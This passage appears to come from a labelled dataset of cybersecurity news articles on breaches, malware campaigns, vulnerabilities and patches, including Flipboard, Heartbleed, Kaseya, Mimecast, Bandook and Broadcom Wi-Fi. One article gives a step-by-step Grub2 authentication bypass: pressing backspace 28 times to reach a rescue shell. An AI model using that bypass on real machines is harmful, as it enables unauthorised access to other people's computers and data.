""We have not found any evidence the unauthorized person accessed third-party account(s) connected to users' Flipboard accounts. As a precaution, we have replaced or deleted all digital tokens,"" the post read.

""If you connected your Flipboard account to a third-party account to see its content, you may notice in some cases that you need to reconnect it.""

""Notably, Flipboard does not collect from users, and this incident did not involve, government-issued IDs (such as Social Security numbers or driver's license numbers), or payment card, bank account, or other financial information.""

The company did not disclose the total number of users affected by the breach but said next time when you log into your Flipboard account you are required to update the password for your account.

Also, if you are making use of the same username and password combination as of Flipboard for any other online service, you are recommended to change your password there as well.

The company has notified law enforcement about the incident and is still investigating to know how hackers managed to gain access to their systems in the first place or what vulnerabilities they exploited.

",Data_Breaches
German Developer responsible for HeartBleed Bug in OpenSSL,https://thehackernews.com/2014/04/german-developer-responsible-for.html,"We have already read so many articles on Heartbleed, one of the biggest iNternet threat that recently came across by a team of security engineers at Codenomicon, while improving the SafeGuard feature in Codenomicon's Defensics security testing tools.

The story has taken every media attention across the World, as the bug opened doors for the cyber criminals to extract sensitive data from the server's memory and almost every major site have been affected by it.

UNINTENTIONAL BIRTH OF HEARTBLEED
More than two years ago, German programmer Robin Seggelmann introduced a new feature called ""Heartbeat"" in the most secured open source encryption protocol, OpenSSL, which is used by several social networks, search engines, banks and other websites to enable secure connections while transmitting data. But introducing heartbeat feature cost him dearly, as here the most critical bug resides.

Dr. Seggelmann allegedly was just trying to improve OpenSSL and working on an update and while submitting the updates enabling heartbeat feature, an ""oversight"" led to an error that unintentionally created the ""Heartbleed"" vulnerability, according to The Guardian.

Heartbleed is the encryption flaw that left large number of cryptographic keys and private data such as usernames, passwords, and credit card numbers, from the most important sites and services on the Internet open for hackers, forcing some security researchers to warn internet users against using even their everyday sites for the next few days until the problem is fully solved.

The developer is responsible for what may be the biggest Internet vulnerability in recent history, but it was just a single programming error in the new feature as he didn't notice the missing validation and unfortunately the same skipped by the code reviewer as well before introducing it in the new released version.

""I am responsible for the error,"" Robin Seggelmann told Guardian, ""because I wrote the code and missed the necessary validation by an oversight. Unfortunately, this mistake also slipped through the review process and therefore made its way into the released version.""

Robin Seggelmann submitted the code of OpenSSL with the heartbeat feature in an update on New Year's Eve, 2011. This means the most critical threat has been around for more than two years unnoticed.

NSA - A GAME CHANGER OR NOT?
Dr Seggelmann said it was obvious to assume that the bug was intentionally inserted, especially after various revelations by Edward Snowden of the surveillance activities carried out by the US National Security Agency (NSA) and other countries intelligence agencies.

""But in this case, it was a simple programming error in a new feature, which unfortunately occurred in a security relevant area,"" he said. ""It was not intended at all, especially since I have previously fixed OpenSSL bugs myself, and was trying to contribute to the project.""

Despite denying the code he put intentionally, he said it could be entirely possible that the government intelligence agencies had been making use of this critical flaw over the past two years.

""It is a possibility, and it's always better to assume the worst than best case in security matters, but since I didn't know [about] the bug until it was released and [I am] not affiliated with any agency, I can only speculate,"" he told The Sydney Morning Herald.

Update: NSA denies Report that Agency knew and exploited Heartbleed Vulnerability, ""NSA was not aware of the recently identified Heartbleed vulnerability until it was made public,""

Related Important Articles:
How Heartbleed Bug Exposes Your Passwords to Hackers
How to Protect yourself from the 'Heartbleed' Bug
Heartbleed - OpenSSL Zero-day Bug leaves Millions of websites Vulnerable

",Vulnerability
Kaseya Releases Patches for Flaws Exploited in Widespread Ransomware Attack,https://thehackernews.com/2021/07/kaseya-releases-patches-for-flaws.html,"Florida-based software vendor Kaseya on Sunday rolled out urgent updates to address critical security vulnerabilities in its Virtual System Administrator (VSA) solution that was used as a jumping off point to target as many as 1,500 businesses across the globe as part of a widespread supply-chain ransomware attack.
Following the incident, the company had urged on-premises VSA customers to shut down their servers until a patch was available. Now, almost 10 days later the firm has shipped VSA version 9.5.7a (9.5.7.2994) with fixes for three new security flaws —
CVE-2021-30116 - Credentials leak and business logic flaw
CVE-2021-30119 - Cross-site scripting vulnerability
CVE-2021-30120 - Two-factor authentication bypass
The security issues are part of a total of seven vulnerabilities that were discovered and reported to Kaseya by the Dutch Institute for Vulnerability Disclosure (DIVD) earlier in April, of which four other weaknesses were remediated in previous releases —
CVE-2021-30117 - SQL injection vulnerability (Fixed in VSA 9.5.6)
CVE-2021-30118 - Remote code execution vulnerability (Fixed in VSA 9.5.5)
CVE-2021-30121 - Local file inclusion vulnerability (Fixed in VSA 9.5.6)
CVE-2021-30201 - XML external entity vulnerability (Fixed in VSA 9.5.6)
Besides fixes for the aforementioned shortcomings, the latest version also resolves three other flaws, including a bug that exposed weak password hashes in certain API responses to brute-force attacks as well as a separate vulnerability that could allow the unauthorized upload of files to the VSA server.
For additional security, Kaseya is recommending limiting access to the VSA Web GUI to local IP addresses by blocking port 443 inbound on the internet firewall for on-premises installations.
Kaseya is also warning its customers that installing the patch would force all users to mandatorily change their passwords post login to meet new password requirements, adding that select features have been replaced with improved alternatives and that the ""release introduces some functional defects that will be corrected in a future release.""
Besides the roll out of the patch for on-premises versions of its VSA remote monitoring and management software, the company has also instantiated the reinstatement of its VSA SaaS infrastructure. ""The restoration of services is progressing according to plan, with 60% of our SaaS customers live and servers coming online for the rest of our customers in the coming hours,"" Kaseya said in a rolling advisory.
The latest development comes days after Kaseya cautioned that spammers are capitalizing on the ongoing ransomware crisis to send out fake email notifications that appear to be Kaseya updates, only to infect customers with Cobalt Strike payloads to gain backdoor access to the systems and deliver next-stage malware.
Kaseya has said multiple flaws were chained together in what it called a ""sophisticated cyberattack"", and while it isn't exactly clear how it was executed, it's believed that a combination of CVE-2021-30116, CVE-2021-30119, and CVE-2021-30120 was used to carry out the intrusions. REvil, a prolific ransomware gang based in Russia, has claimed responsibility for the incident.
The use of trusted partners like software makers or service providers like Kaseya to identify and compromise new downstream victims, often called a supply-chain attack, and pair it with file-encrypting ransomware infections has also made it one of the largest and most significant such attacks to date.
Interestingly, Bloomberg on Saturday reported that five former Kaseya employees had flagged the company about ""glaring"" security holes in its software between 2017 and 2020, but their concerns were brushed off.
""Among the most glaring problems was software underpinned by outdated code, the use of weak encryption and passwords in Kaseya's products and servers, a failure to adhere to basic cybersecurity practices such as regularly patching software and a focus on sales at the expense of other priorities,"" the report said.
The Kaseya attack marks the third time that ransomware affiliates have abused Kaseya products as a vector to deploy ransomware.
In February 2019, the Gandcrab ransomware cartel — which later evolved into Sodinokibi and REvil — leveraged a vulnerability in a Kaseya plugin for the ConnectWise Manage software to deploy ransomware on the networks of MSPs' customer networks. Then in June 2019, the same group went after Webroot SecureAnywhere and Kaseya VSA products to infect endpoints with Sodinokibi ransomware.

",Malware
Hackers Steal Mimecast Certificate Used to Securely Connect with Microsoft 365,https://thehackernews.com/2021/01/hackers-steal-mimecast-certificate-used.html,"Mimecast said on Tuesday that ""a sophisticated threat actor"" had compromised a digital certificate it provided to certain customers to securely connect its products to Microsoft 365 (M365) Exchange.
The discovery was made after the breach was notified by Microsoft, the London-based company said in an alert posted on its website, adding it's reached out to the impacted organizations to remediate the issue.
The company didn't elaborate on what type of certificate was compromised, but Mimecast offers seven different digital certificates based on the geographical location that must be uploaded to M365 to create a server Connection in Mimecast.
""Approximately 10 percent of our customers use this connection,"" the company said. ""Of those that do, there are indications that a low single digit number of our customers' M365 tenants were targeted.""
Mimecast is a cloud-based email management service for Microsoft Exchange and Microsoft Office 365, offers users email security and continuity platform to safeguard them from spam, malware, phishing, and targeted attacks.
The compromised certificate is used to verify and authenticate Mimecast Sync and Recover, Continuity Monitor, and Internal Email Protect (IEP) products to M365 Exchange Web Services.
A consequence of such a breach could result in a man-in-the-middle (MitM) attack, where an adversary could potentially take over the connection and intercept email traffic, and even steal sensitive information.
As a precaution to prevent future abuse, the company said it's asked its customers to delete the existing connection within their M365 tenant with immediate effect and re-establish a new certificate-based connection using the new certificate that it has made available.
""Taking this action does not impact inbound or outbound mail flow or associated security scanning,"" Mimecast stated in its advisory.
An investigation into the incident is ongoing, with the company noting that it will work closely with Microsoft and law enforcement as appropriate.
The development comes as Reuters, citing sources, said the hackers who compromised Mimecast were the same group that breached U.S. software maker SolarWinds and a host of sensitive U.S. government agencies.
""Our investigation is ongoing and we don't have anything additional to share at this time,"" a spokesperson for the company told The Hacker News.
UPDATE (26 Jan, 2021): Mimecast Breach Linked to SolarWinds Hack
Mimecast on Tuesday formally confirmed that the attackers behind the SolarWinds hack were responsible for compromising a digital certificate the firm provided to secure connections to Microsoft 365 (M365) Exchange.
""Our investigation has now confirmed that this incident is related to the SolarWinds Orion software compromise and was perpetrated by the same sophisticated threat actor,"" the company said in an update.
""Although we are not aware that any of the encrypted credentials have been decrypted or misused, we are advising customers hosted in the United States and United Kingdom to take precautionary steps to reset their credentials.""
The investigation revealed that the threat actor accessed and potentially exfiltrated certain encrypted service account credentials created by customers hosted in the U.S. and the United Kingdom.
The credentials are used to establish connections from Mimecast tenants to on-premise and cloud services, such as LDAP, Azure Active Directory, Exchange Web Services, POP3 journaling, and SMTP-authenticated delivery routes.
""It is clear that this incident is part of a highly sophisticated large-scale attack and is focused on specific types of information and organizations.""
Besides Mimecast, Palo Alto Networks and Fidelis Cybersecurity have also confirmed trojanized versions of the SolarWinds Orion software in their environments, taking the number of cybersecurity vendors targeted by the hackers to seven.

",Cyber_Attack
You can Hack into a Linux Computer just by pressing 'Backspace' 28 times,https://thehackernews.com/2015/12/hack-linux-grub-password.html,"So what would anyone need to bypass password protection on your computer?

It just needs to hit the backspace key 28 times, for at least the computer running Linux operating system.

Wait, what?

A pair of security researchers from the University of Valencia have uncovered a bizarre bug in several distributions of Linux that could allow anyone to bypass any kind of authentication during boot-up just by pressing backspace key 28 times.


This time, the issue is neither in a kernel nor in an operating system itself, but rather the vulnerability actually resides in Grub2, the popular Grand Unified Bootloader, which is used by most Linux systems to boot the operating system when the PC starts.

Also Read: GPU-based Linux Rootkit and Keylogger.

The source of the vulnerability is nothing but an integer underflow fault that was introduced with single commit in Grub version 1.98 (December 2009) – b391bdb2f2c5ccf29da66cecdbfb7566656a704d – affecting the grub_password_get() function.

Here's How to Exploit the Linux Vulnerability

If your computer system is vulnerable to this bug:

Just hit the backspace key 28 times at the Grub username prompt during power-up. This will open a ""Grub rescue shell"" under Grub2 versions 1.98 to version 2.02.

This rescue shell allows unauthenticated access to a computer and the ability to load another environment.

From this shell, an attacker could gain access to all the data on your computer, and can misuse it to steal or delete all the data, or install persistent malware or rootkit, according to researchers Ismael Ripoll and Hector Marco, who published their research on Tuesday.

Here's How to Protect Linux System

The Grub vulnerability affects Linux systems from December 2009 to the present date, though older Linux systems may also be affected.

Also Read: Is This Security-Focused Linux Kernel Really UnHackable?

The good news is the researchers have made an emergency patch to fix the Grub2 vulnerability. So if you are a Linux user and worried your system might be vulnerable, you can apply this emergency patch, available here.

Meanwhile, many major distributions, including Ubuntu, Red Hat, and Debian have also released emergency patches to fix the issue.

Linux is often thought to be a super secure operating system compare to others, and this Grub vulnerability could be a good reminder that it's high time to take physical security just as seriously as network security.

",Vulnerability
Companies Could Face $22 Million Fine If They Fail to Protect Against Hackers,https://thehackernews.com/2017/08/data-breach-security-law.html,"Over the past few years, massive data breaches have become more frequent and so common that pretty much every week we heard about some organisation being hacked or hacker dumping tens of millions of users records.

But even after this wide range of data breach incidents, many organisations fail to grasp the importance of data protection, leaving its users' sensitive data vulnerable to hackers and cyber criminals.

Not now! At least for organisations in Britain, as the UK government has committed to updating and strengthening its data protection laws through a new Data Protection Bill.

The British government has warned businesses that if they fail to take measures to protect themselves adequately from cyber attacks, they could face fines of up to £17 Million (more than $22 Million), or 4% of their global turnover—whichever amount is higher.

However, the financial penalties would be a last resort, and will not be applied to those organisations taking proper security measures and assessing the risks adequately, but unfortunately become a victim of cyber attack.

The penalties would be issued by the data protection regulator, the Information Commissioner's Office (ICO).

""Our measures are designed to support businesses in their use of data and give consumers the confidence that their data is protected and those who misuse it will be held to account,"" Digital Minister Matt Hancock said in a government press release.

Hancock said this newly-proposed Data Protection Bill would:

Make it easier and simpler to withdraw consent for the use of personal data
Allow people to ask for their personal information held by organisations to be erased
Enable parents to give consent for their child's data to be used
Require ""explicit"" consent to be necessary for processing user's sensitive data
Expand the definition of ""personal data"" to include IP addresses, DNA and internet cookies
Strengthen and update Data Protection Law to reflect the changing nature and scope of the country's digital economy
Make it easier and free for users to require companies to disclose the personal data they hold on them
Make it easier for users to move data between service providers

The proposal is being considered as part of a government consultation launched on Tuesday by the Department for Digital, Culture, Media and Sport for deciding how to implement the Network and Information Systems (NIS) Directive from next May.

This is separate from the General Data Protection Regulations (GDPR) that are aimed at protecting data rather than services.

The GDPR will replace the British Data Protection Act 1998 from 25 May 2018 and the government have confirmed that Brexit will not change this.

This new proposal is mainly focused on ensuring critical infrastructures, like transport, health, energy, and water are protected from cyber attacks that could result in major disruption to services, as was seen in Ukraine last year.

The proposal will also cover other cyber threats affecting IT infrastructures such as power failures, hardware failures and environmental hazards.

The move comes after the British NHS ( National Health Service) became the highest-profile victim of the recent WannaCry ransomware attack, which resulted in the shutdown of hospitals and operations, patient records being made unavailable and ambulances being diverted.

",Cyber_Attack
Experts Uncover Malware Attacks Targeting Corporate Networks in Latin America,https://thehackernews.com/2021/07/experts-uncover-malware-attacks.html,"Cybersecurity researchers on Thursday took the wraps off a new, ongoing espionage campaign targeting corporate networks in Spanish-speaking countries, specifically Venezuela, to spy on its victims.
Dubbed ""Bandidos"" by ESET owing to the use of an upgraded variant of Bandook malware, the primary targets of the threat actor are corporate networks in the South American country spanning across manufacturing, construction, healthcare, software services, and retail sectors.
Written in both Delphi and C++, Bandook has a history of being sold as a commercial remote access trojan (RAT) dating all the way back to 2005. Since then, numerous variants have emerged on the threat landscape and put to use in different surveillance campaigns in 2015 and 2017, allegedly by a cyber-mercenary group known as Dark Caracal on behalf of government interests in Kazakhstan and Lebanon.
In a continuing resurgence of the Bandook Trojan, Check Point last year disclosed three new samples — one of which supported 120 commands — that were utilized by the same adversary to hit government, financial, energy, food industry, healthcare, education, IT, and legal institutions located in Chile, Cyprus, Germany, Indonesia, Italy, Singapore, Switzerland, Turkey, and the U.S.
The latest attack chain commences with prospective victims receiving malicious emails with a PDF attachment, which contains a shortened URL to download a compressed archive hosted on Google Cloud, SpiderOak, or pCloud and the password to extract it. Extracting the archive reveals a malware dropper that decodes and injects Bandook into an Internet Explorer process.
Interestingly, the latest variant of Bandook analyzed by ESET contains 132 commands, up from the 120 commands reported by Check Point, implying that the criminal group behind the malware are advancing their malicious tools with improved capabilities and striking power.
""Especially interesting is the ChromeInject functionality,"" said ESET researcher Fernando Tavella. ""When the communication with the attacker's command and control server is established, the payload downloads a DLL file, which has an exported method that creates a malicious Chrome extension. The malicious extension tries to retrieve any credentials that the victim submits to a URL. These credentials are stored in Chrome's local storage.""
Some of the main commands that the payload is capable of processing include listing directory contents, manipulating files, taking screenshots, controlling the cursor on the victim's machine, installing malicious DLLs, terminating running processes, downloading files from a specific URL, exfiltrating the results of the operations to a remote server, and even uninstalling itself from the infected machines.
If anything, the development is yet another sign that adversaries can still leverage old crimeware solutions to facilitate attacks.
""[Bandook's] involvement in different espionage campaigns [...] shows us that it is still a relevant tool for cybercriminals,"" the researchers opined. ""Also, if we consider the modifications made to the malware over the years, it shows us the interest of cybercriminals to keep using this piece of malware in malicious campaigns, making it more sophisticated and more difficult to detect.""

",Malware
Facebook Helps FBI to shuts down Butterfly botnet theft $850 millions,https://thehackernews.com/2012/12/facebook-helps-fbi-to-shuts-down.html,"The U.S. Department of Justice said on Tuesday that they've arrested 10 suspects from from Bosnia and Herzegovina, Croatia, Macedonia, New Zealand, Peru, the United Kingdom, and the United States involved in a global botnet operation that infected more than 11 million systems. The ring is said to have caused more than $850m in losses in one of the largest cyber crime hauls in history.

Officials said international cyber crime rings linked to Butterfly (aka Mariposa) botnet, first discovered in December 2008 and shut down a year later, infected over 12 million PCs worldwide and was spread primarily through file-sharing and instant messaging attacks. It also harvested financial information from over 800,000 victims.

FBI said, ""Facebook's security team provided assistance to law enforcement throughout the investigation by helping to identify the root cause, the perpetrators, and those affected by the malware. Yahos targeted Facebook users from 2010 to October 2012, and security systems were able to detect affected accounts and provide tools to remove these threats.""

How Butterfly actually fly ? A botnet is a network of computers that have been infected by a virus that allows a hi-tech criminal to use them remotely. Butterfly botnet spread itself using variants of Yahos (virus that spreads itself by sending links via social networks and instant messaging), then victims clicked on that malicious link, launching Yahos attack. The malware which in some variants disguised itself as an NVIDIA video driver, then downloaded and installed the botnet controls and browser exploits that captured users' credit card and bank account information.

Variations on the Yahos malware have been infecting users for years, spreading initially via instant messenger platforms like AIM and Yahoo! messenger.

Experts say cybercrime is on the rise around the world as PC and mobile computing become more prevalent, and as more and more financial transactions shift online.

",Malware
Alert — There's A New Malware Out There Snatching Users' Passwords,https://thehackernews.com/2021/04/alert-theres-new-malware-out-there.html,"A previously undocumented malware downloader has been spotted in the wild in phishing attacks to deploy credential stealers and other malicious payloads.
Dubbed ""Saint Bot,"" the malware is said to have first appeared on the scene in January 2021, with indications that it's under active development.
""Saint Bot is a downloader that appeared quite recently, and slowly is getting momentum. It was seen dropping stealers (i.e. Taurus Stealer) or further loaders (example), yet its design allows [it] to utilize it for distributing any kind of malware,"" said Aleksandra ""Hasherezade"" Doniec, a threat intelligence analyst at Malwarebytes.
""Furthermore, Saint Bot employs a wide variety of techniques which, although not novel, indicate some level of sophistication considering its relatively new appearance.""
The infection chain analyzed by the cybersecurity firm begins with a phishing email containing an embedded ZIP file (""bitcoin.zip"") that claims to be a bitcoin wallet when, in fact, it's a PowerShell script under the guise of .LNK shortcut file. This PowerShell script then downloads the next stage malware, a WindowsUpdate.exe executable, which, in turn, drops a second executable (InstallUtil.exe) that takes care of downloading two more executables named def.exe and putty.exe.
While the former is a batch script responsible for disabling Windows Defender, putty.exe contains the malicious payload that eventually connects to a command-and-control (C2) server for further exploitation.
The obfuscation present in each stage of the infection, coupled with the anti-analysis techniques adopted by the malware, allows the malware operators to exploit the devices they were installed on without attracting attention.
Besides performing ""self defense checks"" to verify the presence of a debugger or a virtual environment, Saint Bot is designed to not execute in Romania and select countries within the Commonwealth of Independent States (CIS), which includes Armenia, Belarus, Kazakhstan, Moldova, Russia, and Ukraine.
The list of commands supported by the malware include —
downloading and executing other payloads retrieved from the C2 server
updating the bot malware, and
uninstalling itself from the compromised machine
While these capabilities may seem very small, the fact that Saint Bot serves as a downloader for other malware makes it dangerous enough.
Interestingly, the payloads themselves are fetched from files hosted on Discord, a tactic that has become increasingly common among threat actors, who are abusing legitimate functions of such platforms for C2 communications, evade security, and deliver malware.
""When files are uploaded and stored within the Discord CDN, they can be accessed using the hardcoded CDN URL by any system, regardless of whether Discord has been installed, simply by browsing to the CDN URL where the content is hosted,"" researchers from Cisco Talos disclosed in an analysis earlier this week, thus turning software like Discord and Slack into lucrative targets for hosting malicious content.
""Saint Bot is yet another tiny downloader,"" Hasherezade said. ""[It is] not as mature as SmokeLoader, but it is quite new and currently actively developed. The author seems to have some knowledge of malware design, which is visible by the wide range of techniques used. Yet, all the deployed techniques are well-known and pretty standard, [and] not showing much creativity so far.""

",Cyber_Attack
Another Critical Flaw in Drupal Discovered — Update Your Site ASAP!,https://thehackernews.com/2019/02/hacking-drupal-vulnerability.html,"Developers of Drupal—a popular open-source content management system software that powers millions of websites—have released the latest version of their software to patch a critical vulnerability that could allow remote attackers to hack your site.

The update came two days after the Drupal security team released an advance security notification of the upcoming patches, giving websites administrators early heads-up to fix their websites before hackers abuse the loophole.

The vulnerability in question is a critical remote code execution (RCE) flaw in Drupal Core that could ""lead to arbitrary PHP code execution in some cases,"" the Drupal security team said.

While the Drupal team hasn't released any technical details of the vulnerability (CVE-2019-6340), it mentioned that the flaw resides due to the fact that some field types do not properly sanitize data from non-form sources and affects Drupal 7 and 8 Core.

It should also be noted that your Drupal-based website is only affected if the RESTful Web Services (rest) module is enabled and allows PATCH or POST requests, or it has another web services module enabled.

If you can't immediately install the latest update, then you can mitigate the vulnerability by simply disabling all web services modules, or configuring your web server(s) to not allow PUT/PATCH/POST requests to web services resources.

""Note that web services resources may be available on multiple paths depending on the configuration of your server(s),"" Drupal warns in its security advisory published Wednesday.

""For Drupal 7, resources are for example typically available via paths (clean URLs) and via arguments to the ""q"" query argument. For Drupal 8, paths may still function when prefixed with index.php/.""

However, considering the popularity of Drupal exploits among hackers, you are highly recommended to install the latest update:

If you are using Drupal 8.6.x, upgrade your website to Drupal 8.6.10.
If you are using Drupal 8.5.x or earlier, upgrade your website to Drupal 8.5.11


Drupal also said that the Drupal 7 Services module itself does not require an update at this moment, but users should still consider applying other contributed updates associated with the latest advisory if ""Services"" is in use.

Drupal has credited Samuel Mortenson of its security team to discover and report the vulnerability.

",Vulnerability
U.S. Charges 6 Russian Intelligence Officers Over Destructive Cyberattacks,https://thehackernews.com/2020/10/russian-hackers.html,"The US government on Monday formally charged six Russian intelligence officers for carrying out destructive malware attacks with an aim to disrupt and destabilize other nations and cause monetary losses.
The individuals, who work for Unit 74455 of the Russian Main Intelligence Directorate (GRU), have been accused of perpetrating the ""most disruptive and destructive series of computer attacks ever attributed to a single group,"" according to the Justice Department (DoJ).
All the six men — Yuriy Sergeyevich Andrienko, Sergey Vladimirovich Detistov, Pavel Valeryevich Frolov, Anatoliy Sergeyevich Kovalev, Artem Valeryevich Ochichenko, and Petr Nikolayevich Pliskin — have been charged with seven counts of conspiracy to conduct computer fraud and abuse, conspiracy to commit wire fraud, wire fraud, damaging protected computers, and aggravated identity theft.
""The object of the conspiracy was to deploy destructive malware and take other disruptive actions, for the strategic benefit of Russia, through unauthorized access ('hacking') of victim computers,"" the prosecutors said.
""In furtherance of the conspiracy, Andrienko, Detistov, Frolov, Kovalev, Ochichenko, Pliskin, and others known and unknown to the grand jury procured, maintained, and utilized servers, email accounts, malicious mobile applications, and related hacking infrastructure to engage in spear-phishing campaigns and other network intrusion methods against computers used by the victims.""
Five years ago, Russian hackers belonging to Sandworm (aka APT28, Telebots, Voodoo Bear or Iron Viking) group attacked Ukraine's power grid, Ministry of Finance, and State Treasury Service using malware such as BlackEnergy, Industroyer, and KillDisk, before embarking on a spree of destructive cyberattacks — including unleashing NotPetya in 2017 and targeting the Pyeongchang Winter Olympics with phishing campaigns and ""Olympic Destroyer"" malware.
The six individuals have been accused of developing components for NotPetya, Olympic Destroyer, KillDisk malware, as well as preparing spear-phishing campaigns directed against the 2018 PyeongChang Winter Olympic Games, resulting in damage and disruption to computer networks across France, Georgia, the Netherlands, Republic of Korea, Ukraine, the UK, and the US.
""For example, the NotPetya malware impaired Heritage Valley's provision of critical medical services to citizens of the Western District of Pennsylvania through its two hospitals, 60 offices, and 18 community satellite facilities,"" the DoJ said. ""The attack caused the unavailability of patient lists, patient history, physical examination files, and laboratory records.""
""Heritage Valley lost access to its mission-critical computer systems (such as those relating to cardiology, nuclear medicine, radiology, and surgery) for approximately one week and administrative computer systems for almost one month, thereby causing a threat to public health and safety,"" it added.
The total damages brought about by NotPetya is pegged to more than $10 billion to date, crippling several multinational companies like Maersk, Merck, FedEx's TNT Express, Saint-Gobain, Mondelēz, and Reckitt Benckiser.
In a similar development, the UK government also formally accused the GRU of perpetrating cyber reconnaissance against officials and organizations at the 2020 Tokyo Olympic and Paralympic Games earlier this summer before they were postponed next year due to COVID-19.
This is not the first time GRU has come under the DoJ scanner. Two years back, the US government charged seven officers working for the military intelligence agency for conducting sophisticated computer intrusions against US entities as part of an influence and disinformation campaign designed to counter anti-doping efforts.

",Malware
Millions Of Smartphones Using Broadcom Wi-Fi Chip Can Be Hacked Over-the-Air,https://thehackernews.com/2017/04/broadcom-wifi-hack.html,"Millions of smartphones and smart gadgets, including Apple iOS and many Android handsets from various manufacturers, equipped with Broadcom Wifi chips are vulnerable to over-the-air hijacking without any user interaction.

Just yesterday, Apple rushed out an emergency iOS 10.3.1 patch update to address a serious bug that could allow an attacker within same Wifi network to remotely execute malicious code on the Broadcom WiFi SoC (Software-on-Chip) used in iPhones, iPads, and iPods.

The vulnerability was described as the stack buffer overflow issue and was discovered by Google's Project Zero staffer Gal Beniamini, who today detailed his research on a lengthy blog post, saying the flaw affects not only Apple but all those devices using Broadcom's Wi-Fi stack.

Beniamini says this stack buffer overflow issue in the Broadcom firmware code could lead to remote code execution vulnerability, allowing an attacker in the smartphone's WiFi range to send and execute code on the device.

Attackers with high skills can also deploy malicious code to take full control over the victim's device and install malicious apps, like banking Trojans, ransomware, and adware, without the victim's knowledge.

In his next blog post that's already on its way, Beniamini will explain how attackers can use their assumed control of the Wi-Fi SoC in order to further escalate their privileges into the application processor, taking over the host's operating system.

Over-the-Air Broadcom Wi-Fi SoC Hack
According to the researcher, the firmware running on Broadcom WiFi SoC can be tricked into overrunning its stack buffers, which allowed him to send carefully crafted WiFi frames, with abnormal values, to the Wi-Fi controller in order to overflow the firmware's stack.

Beniamini then combined this value with the frequent timer firings of the chipset to gradually overwrite specific chunks of device's memory (RAM) until his malicious code is executed.

So, to exploit the flaw, an attacker needs to be within the WiFi range of the affected device to silently take over it.
""While the firmware implementation on the Wi-Fi SoC is incredibly complex, it still lags behind in terms of security,"" Beniamini explains. ""Specifically, it lacks all basic exploit mitigations – including stack cookies, safe unlinking and access permission protection.""
The researcher also detailed a proof-of-concept Wi-Fi remote code execution exploit in the blog post and successfully performed it on a then-fully updated (now fixed) Nexus 6P, running Android 7.1.1 version NUF26K – the latest available Nexus device at the time of testing in February.

The flaw is one of the several vulnerabilities discovered by Beniamini in the firmware version 6.37.34.40 of Broadcom Wi-Fi chips.

Security Patch for Nexus & iOS Released; Others Have to Wait!

Google Project Zero team reported the issue to Broadcom in December. Since the flaw is in Broadcom's code, smartphone makers had to wait for a patch from the chip vendor before testing the patch and pushing it out to their own user base.

Both Apple and Google addressed the vulnerability with security updates released on Monday, with Google delivering updates via its Android April 2017 Security Bulletin and Apple releasing the iOS 10.3.1 update.

The flaw still affects most Samsung flagship devices, including Galaxy S7 (G930F, G930V), Galaxy S7 Edge (G935F, G9350), Galaxy S6 Edge (G925V), Galaxy S5 (G900F), and Galaxy Note 4 (N910F), the researcher says.

For more technical details head on to the blog post published by Google Project Zero team today.

",Vulnerability
Warning ! Facebook virus Zeus targets bank accounts,https://thehackernews.com/2013/06/warning-facebook-virus-zeus-targets.html,"The infamous Zeus malware has once again resurfaced as per Symantec and is capable of draining your bank accounts.

Zeus propagates through phishing messages that originate from an account that has been phished. Such a phished account will then start automatically sending messages to friends with links to ads telling them to check out a video or product.

Of course, you should not click as doing so will get your account phished as well. The program is sophisticated enough that it can replace a bank's Web site with a mimicked page of its very own. The fake page can then ask for social security number information and other data that is then sold on the black market.
According to Trend Micro the pages are being hosted by the Russian criminal gang known as the Russian Business Network.

Zeus was first detected in 2007 and it is spreading online. If you click on the Zeus virus, it is designed to steal your password and drain your bank account. Facebook is aware of the rising issue, but does not appear to be taking much action on it.

Eric Feinberg, founder of the advocacy group Fans Against Kounterfeit Enterprise (FAKE) said he has tried to alert Facebook to the problem, with increased urgency, but wasn't satisfied with their response.

Additionally, Windows users, be extra careful. The virus is said to specifically target Windows devices and will not work on Mac OS X or Linux.

The virus has badly affected USA and UK, and has moderately affected India, Russia, Canada, and France. Countries such as Australia, Brazil, Argentina, Chile, South Africa, Saudi Arabia, Pakistan, Indonesia, and a few more European and South-East Asian countries are less affected.

",Malware
Dozens of Severe Flaws Found in 4 Popular Open Source VNC Software,https://thehackernews.com/2019/11/vnc-remote-software-hacking.html,"Four popular open-source VNC remote desktop applications have been found vulnerable to a total of 37 security vulnerabilities, many of which went unnoticed for the last 20 years and most severe could allow remote attackers to compromise a targeted system.

VNC (virtual network computing) is an open source graphical desktop sharing protocol based on RFB (Remote FrameBuffer) that allows users to remotely control another computer, similar to Microsoft's RDP service.

The implementation of the VNC system includes a ""server component,"" which runs on the computer sharing its desktop, and a ""client component,"" which runs on the computer that will access the shared desktop.

In other words, VNC allows you to use your mouse and keyboard to work on a remote computer as if you are sitting in front of it.

There are numerous VNC applications, both free and commercial, compatible with widely used operating systems like Linux, macOS, Windows, and Android.

Considering that there are currently over 600,000 VNC servers accessible remotely over the Internet and nearly 32% of which are connected to industrial automation systems, cybersecurity researchers at Kaspersky audited four widely used open source implementation of VNC, including:


LibVNC
UltraVNC
TightVNC 1.x
TurboVNC


After analyzing these VNC software, researchers found a total of 37 new memory corruption vulnerabilities in client and server software: 22 of which were found in UltraVNC, 10 in LibVNC, 4 in TightVNC, just 1 in TurboVNC.

""All of the bugs are linked to incorrect memory usage. Exploiting them leads only to malfunctions and denial of service — a relatively favorable outcome,"" Kaspersky says. ""In more serious cases, attackers can gain unauthorized access to information on the device or release malware into the victim's system.

Some of the discovered security vulnerabilities can also lead to remote code execution (RCE) attacks, meaning an attacker could exploit these flaws to run arbitrary code on the targeted system and gain control over it.

Since the client-side app receives more data and contains data decoding components where developers often make errors while programming, most of the vulnerabilities affect the client-side version of these software.

On the other hand, the server-side relatively contains a small code base with almost no complex functionality, which reduces the chances of memory-corruption vulnerabilities.

However, the team discovered some exploitable server-side bugs, including a stack buffer overflow flaw in the TurboVNC server that makes it possible to achieve remote code execution on the server.

But, exploiting this flaw requires authentication credentials to connect to the VNC server or control over the client before the connection is established.

Therefore, as a safeguard against attacks exploiting server-side vulnerabilities, clients are recommended not to connect to untrusted or untested VNC servers, and administrators are required to protect their VNC servers with a unique, strong password.

Kaspersky reported the vulnerabilities to the affected developers, all of which have issued patches for their supported products, except TightVNC 1.x that is no longer supported by its creators. So, users are recommended to switch to version 2.x.
",Vulnerability
First-Ever Ransomware For Smart Thermostat is Here — It's Hot!,https://thehackernews.com/2016/08/hacking-thermostat.html,"Internet of Things (IoT) is the latest buzz in the world of technology, but they are much easier to hack than you think.

Until now we have heard many scary stories of hacking IoT devices, but how realistic is the threat?

